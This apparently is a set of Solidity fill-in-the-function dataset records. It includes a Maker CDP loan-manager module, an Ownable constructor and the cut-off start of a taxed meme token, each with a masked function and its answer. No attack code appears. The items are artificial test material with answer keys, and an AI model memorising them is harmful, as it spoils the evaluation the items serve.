_amount The amount of additional DAI to draw from the CDP. * @param _makerCdp The Maker CDP contract */ function addDebt( BaseWallet _wallet, bytes32 _cup, uint256 _amount, IMakerCdp _makerCdp ) internal { // draw DAI from CDP invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_DRAW, _cup, _amount)); } /** * @dev Lets the owner of a CDP partially repay their debt. The repayment is made up of * the outstanding DAI debt (including the stability fee if non-zero) plus the MKR governance fee. * The method will use the user's MKR tokens in priority and will, if needed, convert the required * amount of ETH to cover for any missing MKR tokens. * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _amount The amount of DAI debt to repay. * @param _makerCdp The Maker CDP contract * @param _uniswapFactory The Uniswap Factory contract. */ function removeDebt( BaseWallet _wallet, bytes32 _cup, uint256 _amount, IMakerCdp _makerCdp, UniswapFactory _uniswapFactory ) internal { // _wallet must be owner of CDP require(address(_wallet) == _makerCdp.lad(_cup), "CM: not CDP owner"); // get governance fee in MKR uint256 mkrFee = governanceFeeInMKR(_cup, _amount, _makerCdp); // get MKR balance address mkrToken = _makerCdp.gov(); uint256 mkrBalance = ERC20(mkrToken).balanceOf(address(_wallet)); if (mkrBalance < mkrFee) { // Not enough MKR => Convert some ETH into MKR with Uniswap address mkrUniswap = _uniswapFactory.getExchange(mkrToken); uint256 etherValueOfMKR = UniswapExchange(mkrUniswap).getEthToTokenOutputPrice(mkrFee - mkrBalance); invokeWallet(_wallet, mkrUniswap, etherValueOfMKR, abi.encodeWithSelector(ETH_TOKEN_SWAP_OUTPUT, mkrFee - mkrBalance, block.timestamp)); } // get DAI balance address daiToken =_makerCdp.sai(); uint256 daiBalance = ERC20(daiToken).balanceOf(address(_wallet)); if (daiBalance < _amount) { // Not enough DAI => Convert some ETH into DAI with Uniswap address daiUniswap = _uniswapFactory.getExchange(daiToken); uint256 etherValueOfDAI = UniswapExchange(daiUniswap).getEthToTokenOutputPrice(_amount - daiBalance); invokeWallet(_wallet, daiUniswap, etherValueOfDAI, abi.encodeWithSelector(ETH_TOKEN_SWAP_OUTPUT, _amount - daiBalance, block.timestamp)); } // Approve DAI to let wipe() repay the DAI debt invokeWallet(_wallet, daiToken, 0, abi.encodeWithSelector(ERC20_APPROVE, address(_makerCdp), _amount)); // Approve MKR to let wipe() pay the MKR governance fee invokeWallet(_wallet, mkrToken, 0, abi.encodeWithSelector(ERC20_APPROVE, address(_makerCdp), mkrFee)); // repay DAI debt and MKR governance fee invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_WIPE, _cup, _amount)); } /** * @dev Lets the owner of a CDP close their CDP. The method will 1) repay all debt * and governance fee, 2) free all collateral, and 3) delete the CDP. * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @param _uniswapFactory The Uniswap Factory contract. */ function closeCdp( BaseWallet _wallet, bytes32 _cup, IMakerCdp _makerCdp, UniswapFactory _uniswapFactory ) internal { // repay all debt (in DAI) + stability fee (in DAI) + governance fee (in MKR) uint debt = daiDebt(_cup, _makerCdp); if(debt > 0) removeDebt(_wallet, _cup, debt, _makerCdp, _uniswapFactory); // free all ETH collateral uint collateral = pethCollateral(_cup, _makerCdp); if(collateral > 0) removeCollateral(_wallet, _cup, collateral, _makerCdp); // shut the CDP invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_SHUT, _cup)); } /* Convenience methods */ /** * @dev Returns the amount of PETH collateral locked in a CDP. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return the amount of PETH locked in the CDP. */ function pethCollateral(bytes32 _cup, IMakerCdp _makerCdp) public view returns (uint256) { return _makerCdp.ink(_cup); } /** * @dev Returns the amount of DAI debt (including the stability fee if non-zero) drawn from a CDP. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return the amount of DAI drawn from the CDP. */ function daiDebt(bytes32 _cup, IMakerCdp _makerCdp) public returns (uint256) { return _makerCdp.tab(_cup); } /** * @dev Indicates whether a CDP is above the liquidation ratio. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return false if the CDP is in danger of being liquidated. */ function isSafe(bytes32 _cup, IMakerCdp _makerCdp) public returns (bool) { return _makerCdp.safe(_cup); } /** * @dev Checks if a CDP exists. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return true if the CDP exists, false otherwise. */ function exists(bytes32 _cup, IMakerCdp _makerCdp) public view returns (bool) { return _makerCdp.lad(_cup) != address(0); } /** * @dev Max amount of DAI that can still be drawn from a CDP while keeping it above the liquidation ratio. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return the amount of DAI that can still be drawn from a CDP while keeping it above the liquidation ratio. */ function maxDaiDrawable(bytes32 _cup, IMakerCdp _makerCdp) public returns (uint256) { uint256 maxTab = _makerCdp.ink(_cup).rmul(_makerCdp.tag()).rdiv(_makerCdp.vox().par()).rdiv(_makerCdp.mat()); return maxTab.sub(_makerCdp.tab(_cup)); } /** * @dev Min amount of collateral that needs to be added to a CDP to bring it above the liquidation ratio. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return the amount of collateral that needs to be added to a CDP to bring it above the liquidation ratio. */ function minCollateralRequired(bytes32 _cup, IMakerCdp _makerCdp) public returns (uint256) { uint256 minInk = _makerCdp.tab(_cup).rmul(_makerCdp.mat()).rmul(_makerCdp.vox().par()).rdiv(_makerCdp.tag()); return minInk.sub(_makerCdp.ink(_cup)); } /** * @dev Returns the governance fee in MKR. * @param _cup The id of the CDP. * @param _daiRefund The amount of DAI debt being repaid. * @param _makerCdp The Maker CDP contract * @return the governance fee in MKR */ function governanceFeeInMKR(bytes32 _cup, uint256 _daiRefund, IMakerCdp _makerCdp) public returns (uint256 _fee) { uint debt = daiDebt(_cup, _makerCdp); if (debt == 0) return 0; uint256 feeInDAI = _daiRefund.rmul(_makerCdp.rap(_cup).rdiv(debt)); (bytes32 daiPerMKR, bool ok) = _makerCdp.pep().peek(); if (ok && daiPerMKR != 0) _fee = feeInDAI.wdiv(uint(daiPerMKR)); } /** * @dev Returns the total MKR governance fee to be paid before this CDP can be closed. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return the total governance fee in MKR */ function totalGovernanceFeeInMKR(bytes32 _cup, IMakerCdp _makerCdp) external returns (uint256 _fee) { return governanceFeeInMKR(_cup, daiDebt(_cup, _makerCdp), _makerCdp); } /** * @dev Minimum amount of PETH that must be locked in a CDP for it to be deemed "safe" * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return The minimum amount of PETH to lock in the CDP */ function minRequiredCollateral(bytes32 _cup, IMakerCdp _makerCdp) public returns (uint256 _minCollateral) { _minCollateral = daiDebt(_cup, _makerCdp) // DAI debt .rmul(_makerCdp.vox().par()) // x ~1 USD/DAI .rmul(_makerCdp.mat()) // x 1.5 .rmul(1010000000000000000000000000) // x (1+1%) cushion .rdiv(_makerCdp.tag()); // ÷ ~170 USD/PETH } /* *********************************** Utilities ************************************* */ /** * @dev Converts a user's ETH into PETH and locks the PETH in a CDP * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _pethAmount The amount of PETH to buy and lock * @param _makerCdp The Maker CDP contract */ function lockETH( BaseWallet _wallet, bytes32 _cup, uint256 _pethAmount, IMakerCdp _makerCdp ) internal { // 1. Convert ETH to PETH address wethToken = _makerCdp.gem(); // Get WETH/PETH rate uint ethAmount = _makerCdp.ask(_pethAmount); // ETH to WETH invokeWallet(_wallet, wethToken, ethAmount, abi.encodeWithSelector(WETH_DEPOSIT)); // Approve WETH invokeWallet(_wallet, wethToken, 0, abi.encodeWithSelector(ERC20_APPROVE, address(_makerCdp), ethAmount)); // WETH to PETH invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_JOIN, _pethAmount)); // 2. Lock PETH into CDP address pethToken = _makerCdp.skr(); // Approve PETH invokeWallet(_wallet, pethToken, 0, abi.encodeWithSelector(ERC20_APPROVE, address(_makerCdp), _pethAmount)); // lock PETH into CDP invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_LOCK, _cup, _pethAmount)); } /** * @dev Unlocks PETH from a user's CDP and converts it back to ETH * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _pethAmount The amount of PETH to unlock and sell * @param _makerCdp The Maker CDP contract */ function freeETH( BaseWallet _wallet, bytes32 _cup, uint256 _pethAmount, IMakerCdp _makerCdp ) internal { // 1. Unlock PETH // Unlock PETH from CDP invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_FREE, _cup, _pethAmount)); // 2. Convert PETH to ETH address wethToken = _makerCdp.gem(); address pethToken = _makerCdp.skr(); // Approve PETH invokeWallet(_wallet, pethToken, 0, abi.encodeWithSelector(ERC20_APPROVE, address(_makerCdp), _pethAmount)); // PETH to WETH invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_EXIT, _pethAmount)); // Get WETH/PETH rate uint ethAmount = _makerCdp.bid(_pethAmount); // WETH to ETH invokeWallet(_wallet, wethToken, 0, abi.encodeWithSelector(WETH_WITHDRAW, ethAmount)); } /** * @dev Conversion rate between DAI and MKR * @param _makerCdp The Maker CDP contract * @return The amount of DAI per MKR */ function daiPerMkr(IMakerCdp _makerCdp) internal view returns (uint256 _daiPerMKR) { (bytes32 daiPerMKR_, bool ok) = _makerCdp.pep().peek(); require(ok && daiPerMKR_ != 0, "LM: invalid DAI/MKR rate"); _daiPerMKR = uint256(daiPerMKR_); } /** * @dev Utility method to invoke a wallet * @param _wallet The wallet to invoke. * @param _to The target address. * @param _value The value. * @param _data The data. */ function invokeWallet(BaseWallet _wallet, address _to, uint256 _value, bytes memory _data) internal { _wallet.invoke(_to, _value, _data); } }
contract MakerManager is Loan, BaseModule, RelayerModule, OnlyOwnerModule { bytes32 constant NAME = "MakerManager"; // The Guardian storage GuardianStorage public guardianStorage; // The Maker Tub contract IMakerCdp public makerCdp; // The Uniswap Factory contract UniswapFactory public uniswapFactory; // Mock token address for ETH address constant internal ETH_TOKEN_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // Method signatures to reduce gas cost at depoyment bytes4 constant internal CDP_DRAW = bytes4(keccak256("draw(bytes32,uint256)")); bytes4 constant internal CDP_WIPE = bytes4(keccak256("wipe(bytes32,uint256)")); bytes4 constant internal CDP_SHUT = bytes4(keccak256("shut(bytes32)")); bytes4 constant internal CDP_JOIN = bytes4(keccak256("join(uint256)")); bytes4 constant internal CDP_LOCK = bytes4(keccak256("lock(bytes32,uint256)")); bytes4 constant internal CDP_FREE = bytes4(keccak256("free(bytes32,uint256)")); bytes4 constant internal CDP_EXIT = bytes4(keccak256("exit(uint256)")); bytes4 constant internal WETH_DEPOSIT = bytes4(keccak256("deposit()")); bytes4 constant internal WETH_WITHDRAW = bytes4(keccak256("withdraw(uint256)")); bytes4 constant internal ERC20_APPROVE = bytes4(keccak256("approve(address,uint256)")); bytes4 constant internal ETH_TOKEN_SWAP_OUTPUT = bytes4(keccak256("ethToTokenSwapOutput(uint256,uint256)")); bytes4 constant internal ETH_TOKEN_SWAP_INPUT = bytes4(keccak256("ethToTokenSwapInput(uint256,uint256)")); bytes4 constant internal TOKEN_ETH_SWAP_INPUT = bytes4(keccak256("tokenToEthSwapInput(uint256,uint256,uint256)")); using SafeMath for uint256; /** * @dev Throws if the wallet is locked. */ modifier onlyWhenUnlocked(BaseWallet _wallet) { // solium-disable-next-line security/no-block-members require(!guardianStorage.isLocked(_wallet), "MakerManager: wallet must be unlocked"); _; } constructor( ModuleRegistry _registry, GuardianStorage _guardianStorage, IMakerCdp _makerCdp, UniswapFactory _uniswapFactory ) BaseModule(_registry, NAME) public { guardianStorage = _guardianStorage; makerCdp = _makerCdp; uniswapFactory = _uniswapFactory; } /* ********************************** Implementation of Loan ************************************* */ /** * @dev Opens a collateralized loan. * @param _wallet The target wallet. * @param _collateral The token used as a collateral (must be 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE). * @param _collateralAmount The amount of collateral token provided. * @param _debtToken The token borrowed (must be the address of the DAI contract). * @param _debtAmount The amount of tokens borrowed. * @return The ID of the created CDP. */ function openLoan( BaseWallet _wallet, address _collateral, uint256 _collateralAmount, address _debtToken, uint256 _debtAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) returns (bytes32 _loanId) { require(_collateral == ETH_TOKEN_ADDRESS, "Maker: collateral must be ETH"); require(_debtToken == makerCdp.sai(), "Maker: debt token must be DAI"); _loanId = openCdp(_wallet, _collateralAmount, _debtAmount, makerCdp); emit LoanOpened(address(_wallet), _loanId, _collateral, _collateralAmount, _debtToken, _debtAmount); } /** * @dev Closes a collateralized loan by repaying all debts (plus interest) and redeeming all collateral (plus interest). * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. */ function closeLoan( BaseWallet _wallet, bytes32 _loanId ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { closeCdp(_wallet, _loanId, makerCdp, uniswapFactory); emit LoanClosed(address(_wallet), _loanId); } /** * @dev Adds collateral to a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. * @param _collateral The token used as a collateral (must be 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE). * @param _collateralAmount The amount of collateral to add. */ function addCollateral( BaseWallet _wallet, bytes32 _loanId, address _collateral, uint256 _collateralAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { require(_collateral == ETH_TOKEN_ADDRESS, "Maker: collateral must be ETH"); addCollateral(_wallet, _loanId, _collateralAmount, makerCdp); emit CollateralAdded(address(_wallet), _loanId, _collateral, _collateralAmount); } /** * @dev Removes collateral from a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. * @param _collateral The token used as a collateral (must be 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE). * @param _collateralAmount The amount of collateral to remove. */ function removeCollateral( BaseWallet _wallet, bytes32 _loanId, address _collateral, uint256 _collateralAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { require(_collateral == ETH_TOKEN_ADDRESS, "Maker: collateral must be ETH"); removeCollateral(_wallet, _loanId, _collateralAmount, makerCdp); emit CollateralRemoved(address(_wallet), _loanId, _collateral, _collateralAmount); } /** * @dev Increases the debt by borrowing more token from a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. * @param _debtToken The token borrowed (must be the address of the DAI contract). * @param _debtAmount The amount of token to borrow. */ function addDebt( BaseWallet _wallet, bytes32 _loanId, address _debtToken, uint256 _debtAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { require(_debtToken == makerCdp.sai(), "Maker: debt token must be DAI"); addDebt(_wallet, _loanId, _debtAmount, makerCdp); emit DebtAdded(address(_wallet), _loanId, _debtToken, _debtAmount); } /** * @dev Decreases the debt by repaying some token from a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. * @param _debtToken The token to repay (must be the address of the DAI contract). * @param _debtAmount The amount of token to repay. */ function removeDebt( BaseWallet _wallet, bytes32 _loanId, address _debtToken, uint256 _debtAmount ) external onlyWalletOwner(_wallet) onlyWhenUnlocked(_wallet) { require(_debtToken == makerCdp.sai(), "Maker: debt token must be DAI"); removeDebt(_wallet, _loanId, _debtAmount, makerCdp, uniswapFactory); emit DebtRemoved(address(_wallet), _loanId, _debtToken, _debtAmount); } /** * @dev Gets information about a loan identified by its ID. * @param _wallet The target wallet. * @param _loanId The ID of the target CDP. * @return a status [0: no loan, 1: loan is safe, 2: loan is unsafe and can be liquidated, 3: loan exists but we are unable to provide info] * and a value (in ETH) representing the value that could still be borrowed when status = 1; or the value of the collateral that should be added to * avoid liquidation when status = 2. */ function getLoan( BaseWallet _wallet, bytes32 _loanId ) external view returns (uint8 _status, uint256 _ethValue) { if(exists(_loanId, makerCdp)) { return (3,0); } return (0,0); } <FILL_FUNCTION> /** * @dev Lets the owner of a CDP add more collateral to their CDP. The owner must have enough ether * in their wallet. The required amount of ether will be automatically converted to * PETH and locked in the CDP. * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _amount The amount of additional PETH to lock as collateral in the CDP. * @param _makerCdp The Maker CDP contract */ function addCollateral( BaseWallet _wallet, bytes32 _cup, uint256 _amount, IMakerCdp _makerCdp ) internal { // _wallet must be owner of CDP require(address(_wallet) == _makerCdp.lad(_cup), "CM: not CDP owner"); // convert ETH to PETH & lock PETH into CDP lockETH(_wallet, _cup, _amount, _makerCdp); } /** * @dev Lets the owner of a CDP remove some collateral from their CDP * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _amount The amount of PETH to remove from the CDP. * @param _makerCdp The Maker CDP contract */ function removeCollateral( BaseWallet _wallet, bytes32 _cup, uint256 _amount, IMakerCdp _makerCdp ) internal { // unlock PETH from CDP & convert PETH to ETH freeETH(_wallet, _cup, _amount, _makerCdp); } /** * @dev Lets the owner of a CDP draw more DAI from their CDP. * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _amount The amount of additional DAI to draw from the CDP. * @param _makerCdp The Maker CDP contract */ function addDebt( BaseWallet _wallet, bytes32 _cup, uint256 _amount, IMakerCdp _makerCdp ) internal { // draw DAI from CDP invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_DRAW, _cup, _amount)); } /** * @dev Lets the owner of a CDP partially repay their debt. The repayment is made up of * the outstanding DAI debt (including the stability fee if non-zero) plus the MKR governance fee. * The method will use the user's MKR tokens in priority and will, if needed, convert the required * amount of ETH to cover for any missing MKR tokens. * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _amount The amount of DAI debt to repay. * @param _makerCdp The Maker CDP contract * @param _uniswapFactory The Uniswap Factory contract. */ function removeDebt( BaseWallet _wallet, bytes32 _cup, uint256 _amount, IMakerCdp _makerCdp, UniswapFactory _uniswapFactory ) internal { // _wallet must be owner of CDP require(address(_wallet) == _makerCdp.lad(_cup), "CM: not CDP owner"); // get governance fee in MKR uint256 mkrFee = governanceFeeInMKR(_cup, _amount, _makerCdp); // get MKR balance address mkrToken = _makerCdp.gov(); uint256 mkrBalance = ERC20(mkrToken).balanceOf(address(_wallet)); if (mkrBalance < mkrFee) { // Not enough MKR => Convert some ETH into MKR with Uniswap address mkrUniswap = _uniswapFactory.getExchange(mkrToken); uint256 etherValueOfMKR = UniswapExchange(mkrUniswap).getEthToTokenOutputPrice(mkrFee - mkrBalance); invokeWallet(_wallet, mkrUniswap, etherValueOfMKR, abi.encodeWithSelector(ETH_TOKEN_SWAP_OUTPUT, mkrFee - mkrBalance, block.timestamp)); } // get DAI balance address daiToken =_makerCdp.sai(); uint256 daiBalance = ERC20(daiToken).balanceOf(address(_wallet)); if (daiBalance < _amount) { // Not enough DAI => Convert some ETH into DAI with Uniswap address daiUniswap = _uniswapFactory.getExchange(daiToken); uint256 etherValueOfDAI = UniswapExchange(daiUniswap).getEthToTokenOutputPrice(_amount - daiBalance); invokeWallet(_wallet, daiUniswap, etherValueOfDAI, abi.encodeWithSelector(ETH_TOKEN_SWAP_OUTPUT, _amount - daiBalance, block.timestamp)); } // Approve DAI to let wipe() repay the DAI debt invokeWallet(_wallet, daiToken, 0, abi.encodeWithSelector(ERC20_APPROVE, address(_makerCdp), _amount)); // Approve MKR to let wipe() pay the MKR governance fee invokeWallet(_wallet, mkrToken, 0, abi.encodeWithSelector(ERC20_APPROVE, address(_makerCdp), mkrFee)); // repay DAI debt and MKR governance fee invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_WIPE, _cup, _amount)); } /** * @dev Lets the owner of a CDP close their CDP. The method will 1) repay all debt * and governance fee, 2) free all collateral, and 3) delete the CDP. * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @param _uniswapFactory The Uniswap Factory contract. */ function closeCdp( BaseWallet _wallet, bytes32 _cup, IMakerCdp _makerCdp, UniswapFactory _uniswapFactory ) internal { // repay all debt (in DAI) + stability fee (in DAI) + governance fee (in MKR) uint debt = daiDebt(_cup, _makerCdp); if(debt > 0) removeDebt(_wallet, _cup, debt, _makerCdp, _uniswapFactory); // free all ETH collateral uint collateral = pethCollateral(_cup, _makerCdp); if(collateral > 0) removeCollateral(_wallet, _cup, collateral, _makerCdp); // shut the CDP invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_SHUT, _cup)); } /* Convenience methods */ /** * @dev Returns the amount of PETH collateral locked in a CDP. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return the amount of PETH locked in the CDP. */ function pethCollateral(bytes32 _cup, IMakerCdp _makerCdp) public view returns (uint256) { return _makerCdp.ink(_cup); } /** * @dev Returns the amount of DAI debt (including the stability fee if non-zero) drawn from a CDP. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return the amount of DAI drawn from the CDP. */ function daiDebt(bytes32 _cup, IMakerCdp _makerCdp) public returns (uint256) { return _makerCdp.tab(_cup); } /** * @dev Indicates whether a CDP is above the liquidation ratio. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return false if the CDP is in danger of being liquidated. */ function isSafe(bytes32 _cup, IMakerCdp _makerCdp) public returns (bool) { return _makerCdp.safe(_cup); } /** * @dev Checks if a CDP exists. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return true if the CDP exists, false otherwise. */ function exists(bytes32 _cup, IMakerCdp _makerCdp) public view returns (bool) { return _makerCdp.lad(_cup) != address(0); } /** * @dev Max amount of DAI that can still be drawn from a CDP while keeping it above the liquidation ratio. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return the amount of DAI that can still be drawn from a CDP while keeping it above the liquidation ratio. */ function maxDaiDrawable(bytes32 _cup, IMakerCdp _makerCdp) public returns (uint256) { uint256 maxTab = _makerCdp.ink(_cup).rmul(_makerCdp.tag()).rdiv(_makerCdp.vox().par()).rdiv(_makerCdp.mat()); return maxTab.sub(_makerCdp.tab(_cup)); } /** * @dev Min amount of collateral that needs to be added to a CDP to bring it above the liquidation ratio. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return the amount of collateral that needs to be added to a CDP to bring it above the liquidation ratio. */ function minCollateralRequired(bytes32 _cup, IMakerCdp _makerCdp) public returns (uint256) { uint256 minInk = _makerCdp.tab(_cup).rmul(_makerCdp.mat()).rmul(_makerCdp.vox().par()).rdiv(_makerCdp.tag()); return minInk.sub(_makerCdp.ink(_cup)); } /** * @dev Returns the governance fee in MKR. * @param _cup The id of the CDP. * @param _daiRefund The amount of DAI debt being repaid. * @param _makerCdp The Maker CDP contract * @return the governance fee in MKR */ function governanceFeeInMKR(bytes32 _cup, uint256 _daiRefund, IMakerCdp _makerCdp) public returns (uint256 _fee) { uint debt = daiDebt(_cup, _makerCdp); if (debt == 0) return 0; uint256 feeInDAI = _daiRefund.rmul(_makerCdp.rap(_cup).rdiv(debt)); (bytes32 daiPerMKR, bool ok) = _makerCdp.pep().peek(); if (ok && daiPerMKR != 0) _fee = feeInDAI.wdiv(uint(daiPerMKR)); } /** * @dev Returns the total MKR governance fee to be paid before this CDP can be closed. * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return the total governance fee in MKR */ function totalGovernanceFeeInMKR(bytes32 _cup, IMakerCdp _makerCdp) external returns (uint256 _fee) { return governanceFeeInMKR(_cup, daiDebt(_cup, _makerCdp), _makerCdp); } /** * @dev Minimum amount of PETH that must be locked in a CDP for it to be deemed "safe" * @param _cup The id of the CDP. * @param _makerCdp The Maker CDP contract * @return The minimum amount of PETH to lock in the CDP */ function minRequiredCollateral(bytes32 _cup, IMakerCdp _makerCdp) public returns (uint256 _minCollateral) { _minCollateral = daiDebt(_cup, _makerCdp) // DAI debt .rmul(_makerCdp.vox().par()) // x ~1 USD/DAI .rmul(_makerCdp.mat()) // x 1.5 .rmul(1010000000000000000000000000) // x (1+1%) cushion .rdiv(_makerCdp.tag()); // ÷ ~170 USD/PETH } /* *********************************** Utilities ************************************* */ /** * @dev Converts a user's ETH into PETH and locks the PETH in a CDP * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _pethAmount The amount of PETH to buy and lock * @param _makerCdp The Maker CDP contract */ function lockETH( BaseWallet _wallet, bytes32 _cup, uint256 _pethAmount, IMakerCdp _makerCdp ) internal { // 1. Convert ETH to PETH address wethToken = _makerCdp.gem(); // Get WETH/PETH rate uint ethAmount = _makerCdp.ask(_pethAmount); // ETH to WETH invokeWallet(_wallet, wethToken, ethAmount, abi.encodeWithSelector(WETH_DEPOSIT)); // Approve WETH invokeWallet(_wallet, wethToken, 0, abi.encodeWithSelector(ERC20_APPROVE, address(_makerCdp), ethAmount)); // WETH to PETH invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_JOIN, _pethAmount)); // 2. Lock PETH into CDP address pethToken = _makerCdp.skr(); // Approve PETH invokeWallet(_wallet, pethToken, 0, abi.encodeWithSelector(ERC20_APPROVE, address(_makerCdp), _pethAmount)); // lock PETH into CDP invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_LOCK, _cup, _pethAmount)); } /** * @dev Unlocks PETH from a user's CDP and converts it back to ETH * @param _wallet The target wallet * @param _cup The id of the CDP. * @param _pethAmount The amount of PETH to unlock and sell * @param _makerCdp The Maker CDP contract */ function freeETH( BaseWallet _wallet, bytes32 _cup, uint256 _pethAmount, IMakerCdp _makerCdp ) internal { // 1. Unlock PETH // Unlock PETH from CDP invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_FREE, _cup, _pethAmount)); // 2. Convert PETH to ETH address wethToken = _makerCdp.gem(); address pethToken = _makerCdp.skr(); // Approve PETH invokeWallet(_wallet, pethToken, 0, abi.encodeWithSelector(ERC20_APPROVE, address(_makerCdp), _pethAmount)); // PETH to WETH invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_EXIT, _pethAmount)); // Get WETH/PETH rate uint ethAmount = _makerCdp.bid(_pethAmount); // WETH to ETH invokeWallet(_wallet, wethToken, 0, abi.encodeWithSelector(WETH_WITHDRAW, ethAmount)); } /** * @dev Conversion rate between DAI and MKR * @param _makerCdp The Maker CDP contract * @return The amount of DAI per MKR */ function daiPerMkr(IMakerCdp _makerCdp) internal view returns (uint256 _daiPerMKR) { (bytes32 daiPerMKR_, bool ok) = _makerCdp.pep().peek(); require(ok && daiPerMKR_ != 0, "LM: invalid DAI/MKR rate"); _daiPerMKR = uint256(daiPerMKR_); } /** * @dev Utility method to invoke a wallet * @param _wallet The wallet to invoke. * @param _to The target address. * @param _value The value. * @param _data The data. */ function invokeWallet(BaseWallet _wallet, address _to, uint256 _value, bytes memory _data) internal { _wallet.invoke(_to, _value, _data); } }
// Open CDP (CDP owner will be module) _cup = _makerCdp.open(); // Transfer CDP ownership to wallet _makerCdp.give(_cup, address(_wallet)); // Convert ETH to PETH & lock PETH into CDP lockETH(_wallet, _cup, _pethCollateral, _makerCdp); // Draw DAI from CDP if(_daiDebt > 0) { invokeWallet(_wallet, address(_makerCdp), 0, abi.encodeWithSelector(CDP_DRAW, _cup, _daiDebt)); }
function openCdp( BaseWallet _wallet, uint256 _pethCollateral, uint256 _daiDebt, IMakerCdp _makerCdp ) internal returns (bytes32 _cup)
/* *********************************** Maker wrappers ************************************* */ /* CDP actions */ /** * @dev Lets the owner of a wallet open a new CDP. The owner must have enough ether * in their wallet. The required amount of ether will be automatically converted to * PETH and used as collateral in the CDP. * @param _wallet The target wallet * @param _pethCollateral The amount of PETH to lock as collateral in the CDP. * @param _daiDebt The amount of DAI to draw from the CDP * @param _makerCdp The Maker CDP contract * @return The id of the created CDP. */ function openCdp( BaseWallet _wallet, uint256 _pethCollateral, uint256 _daiDebt, IMakerCdp _makerCdp ) internal returns (bytes32 _cup)
63145
Ownable
null
contract Ownable is Context { address private _Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () {<FILL_FUNCTION_BODY> } function owner() public view returns (address) { return _Owner; } modifier onlyOwner() { require(_Owner == _msgSender(), "Ownable: caller is not the owner"); _; } }
contract Ownable is Context { address private _Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); <FILL_FUNCTION> function owner() public view returns (address) { return _Owner; } modifier onlyOwner() { require(_Owner == _msgSender(), "Ownable: caller is not the owner"); _; } }
address msgSender = _msgSender(); _Owner = msgSender; emit OwnershipTransferred(address(0), msgSender);
constructor ()
constructor ()
28778
IngaruInu
decimals
contract IngaruInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ingaru Inu"; string private constant _symbol = "IGU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _devTax; uint256 private _buyDevTax = 4; uint256 private _sellDevTax = 8; uint256 private _marketingTax; uint256 private _buyMarketingTax = 5; uint256 private _sellMarketingTax = 8; uint256 private _salesTax; uint256 private _buySalesTax = 5; uint256 private _sellSalesTax = 6; uint256 private _totalBuyTax = _buyDevTax + _buyMarketingTax + _buySalesTax; uint256 private _totalSellTax = _sellDevTax + _sellMarketingTax + _sellSalesTax; uint256 private _summedTax = _marketingTax+_salesTax; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 